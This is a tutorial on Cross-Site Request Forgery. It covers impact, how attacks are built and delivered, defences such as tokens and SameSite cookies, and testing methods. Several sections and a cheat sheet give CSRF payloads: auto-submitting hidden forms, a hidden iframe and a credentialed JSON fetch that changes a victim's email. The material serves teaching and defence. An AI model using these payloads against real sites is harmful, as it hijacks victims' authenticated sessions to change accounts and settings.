

Cross-Site Request Forgery (CSRF)

1. What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to induce a victim's browser to perform **unintended actions on a web application in which the victim is authenticated**.

In a CSRF attack:

- The victim is already logged into a trusted application
- The attacker tricks the victim into sending a malicious request
- The application processes the request as legitimate because it includes valid credentials (cookies, session tokens)

CSRF exploits **trust in the user's browser**, not a flaw in authentication itself.

2. What is the Impact of a CSRF Attack?

The impact of CSRF depends on the **privileges of the victim** and the **sensitivity of the affected function**.

Common Impacts

- Change account email or password
- Transfer funds
- Modify user profile details
- Enable or disable security settings
- Perform administrative actions (if victim is admin)

High-Risk Scenario

If an administrator is targeted, CSRF can lead to:

- Privilege escalation
- Creation of new admin accounts

- Application-wide compromise

Unlike XSS, CSRF does **not require JavaScript execution**.

3. How Does CSRF Work?

A CSRF attack relies on three core conditions:

1. **A relevant action**

- Example: change email, update password, transfer money

2. **Cookie-based authentication**

- Browser automatically sends session cookies with requests

3. **Lack of request verification**

- No CSRF token or improper validation

High-Level Flow

1. Victim logs into a vulnerable application
 2. Victim visits a malicious website
 3. Malicious site sends a forged request
 4. Browser includes session cookies automatically
 5. Application processes the request as legitimate
-

4. CSRF Attack Example (Basic)

Vulnerable Application Request

```
POST /change-email HTTP/1.1
Host: vulnerable-site.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded

email=newmail@example.com
```

The application does **not** verify:

- CSRF token

- Request origin
 - User intention
-

5. How to Construct a CSRF Attack

Step 1: Identify a CSRF-Vulnerable Function

Look for:

- State-changing requests
 - Requests without CSRF tokens
 - Requests relying only on cookies
-

Step 2: Recreate the Legitimate Request

Captured via:

- Browser DevTools
 - Burp Suite Proxy
-

Step 3: Craft a Malicious CSRF Payload

Example: Email Change via POST

```
<form action="https://vulnerable-site.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@mail.com">
  <input type="submit">
</form>

<script>
  document.forms[0].submit();
</script>
```

Why This Works

- Browser automatically includes session cookies
- No CSRF protection on server

- Request appears legitimate

6. GET-Based CSRF Example

Vulnerable Endpoint

```
GET /update-role?user=123&role=admin HTTP/1.1  
Cookie: session=abc123
```

CSRF Payload

```

```

Result

- Request sent automatically when image loads
- Action performed silently

7. How to Deliver a CSRF Exploit

CSRF exploits are delivered by **tricking the victim into visiting attacker-controlled content**.

Common Delivery Methods

- Malicious websites
- Embedded images or iframes
- Phishing emails
- HTML email bodies
- Social engineering links

Example: Hidden iFrame Delivery

```
<iframe src="https://vulnerable-site.com/change-password?new=Password123">
```

```
style="display:none"></iframe>
```

8. Advanced CSRF Techniques

8.1 Login CSRF

Forces victim to log in as attacker:

- Victim performs actions unknowingly
- Attacker later views the effects

8.2 Multi-Step CSRF

- Exploits workflows without token validation between steps
- Example: checkout or settings wizard

8.3 CSRF via JSON APIs

If server accepts JSON without CSRF validation:

```
POST /api/update HTTP/1.1
Content-Type: application/json

{"email":"attacker@mail.com"}
```

9. Common Defences Against CSRF

9.1 CSRF Tokens (Primary Defence)

A **CSRF token** is:

- Unique
- Unpredictable
- Tied to user session

Secure Implementation

```
<input type="hidden" name="csrf_token" value="random123xyz">
```

Server verifies token before processing request.

9.2 SameSite Cookies

Controls whether cookies are sent with cross-site requests.

```
Set-Cookie: session=abc123; SameSite=Strict
```

Modes:

- Strict (most secure)
 - Lax (default in modern browsers)
 - None (requires Secure flag)
-

9.3 Referrer and Origin Header Validation

Server checks:

- `Origin` header
- `Referer` header

Rejects requests from untrusted domains.

Limitation:

- Headers can be missing or stripped
-

9.4 Double Submit Cookie Pattern

- CSRF token stored in cookie
 - Token also sent in request parameter
 - Server verifies both values match
-

9.5 Avoid State Changes via GET

- GET should be idempotent
 - State-changing actions must use POST/PUT
-

10. CSRF vs XSS (Important Comparison)

Feature	CSRF	XSS
Executes JavaScript	No	Yes
Requires victim authentication	Yes	Optional
Exploits browser trust	Yes	Yes
Steals data directly	No	Yes
Performs actions as user	Yes	Yes

11. CSRF Testing Methodology

Manual Testing

- Remove CSRF token and resend request
- Reuse old tokens
- Send request from another origin
- Check GET endpoints for state change

Tools

- Burp Suite
- Browser DevTools
- HTML PoC generator

12. CSRF Payload & Testing Cheat Sheet (Integrated)

Basic POST CSRF

```
<form action="https://target.com/action" method="POST">
  <input type="hidden" name="param" value="value">
</form>
<script>document.forms[0].submit();</script>
```

GET CSRF

```

```

iFrame Delivery

```
<iframe src="https://target.com/action" style="display:none"></iframe>
```

JSON CSRF

```
<script>
fetch("https://target.com/api/update", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type":"application/json"},
  body: JSON.stringify({email:"attacker@mail.com"})
});
</script>
```

CSRF Token Bypass Checks

- Token missing
- Token not session-bound
- Token reused
- Token not validated server-side

13. How to Prevent CSRF (Best Practices)

- Implement strong CSRF tokens
- Use SameSite cookies
- Validate Origin/Referer headers
- Avoid sensitive actions via GET
- Apply defense-in-depth (token + SameSite)
- Protect APIs separately

14. Summary

Cross-Site Request Forgery is a critical vulnerability that exploits authenticated user sessions rather than application logic flaws. While conceptually simple, CSRF can have severe consequences if proper defenses are not implemented.

Effective CSRF protection requires:

- Strong token validation
 - Secure cookie attributes
 - Proper request handling
 - Consistent security enforcement across all endpoints
-